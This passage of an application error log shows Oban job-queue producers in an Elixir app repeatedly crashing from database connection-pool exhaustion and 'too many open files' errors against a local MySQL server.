  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:37:16.240331Z], limit: 5, uuid: "20afb314-09ad-43e1-a136-8d8140b6afd9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:16.240336Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.255354>, refresh_timer: #Reference<0.2525715032.1099431938.24243>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 864ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:37:16.240212Z], limit: 10, uuid: "9492f60f-d8d8-48f5-89d2-92929427ee64", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:16.240218Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.255353>, refresh_timer: #Reference<0.2525715032.1099431938.24240>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:37:16.240487Z], limit: 20, uuid: "017bc3bc-9802-437a-a9ab-8641dd7f57c2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:16.240492Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.255351>, refresh_timer: #Reference<0.2525715032.1068498948.20584>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:28.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:37:16.239177Z], limit: 3, uuid: "3f7da0bc-0af3-4437-8aa2-c48500d7b142", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:16.239183Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.255352>, refresh_timer: #Reference<0.2525715032.1068498948.20563>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:28.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 800ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:37:16.241189Z], limit: 50, uuid: "721d70a8-36b1-4d69-92b9-47e812816cc4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:16.241194Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.255350>, refresh_timer: #Reference<0.2525715032.1077411843.255328>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:28.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:37:16.240499Z], limit: 5, uuid: "84b631a4-e4ea-4079-9461-47f09257aba4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:16.240504Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.255349>, refresh_timer: #Reference<0.2525715032.1077411843.255326>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:29.445000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:31.884000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:33.619000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:37.153000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:38.354000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:40.082000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:37:28.252554Z], limit: 5, uuid: "3cfd2112-0da5-49e2-9297-664b1c68a529", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:28.252560Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.24327>, refresh_timer: #Reference<0.2525715032.1099431938.24326>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 859ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:37:28.250140Z], limit: 50, uuid: "f39f7bf1-ea18-4384-81e1-399a7ce03450", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:28.250145Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.255754>, refresh_timer: #Reference<0.2525715032.1099431938.24317>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:37:28.243854Z], limit: 5, uuid: "31f96c61-b9c2-4098-bb60-73d04da85e95", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:28.243863Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.255753>, refresh_timer: #Reference<0.2525715032.1099431938.24288>, dispatch_cooldown: 5, running: %{}}
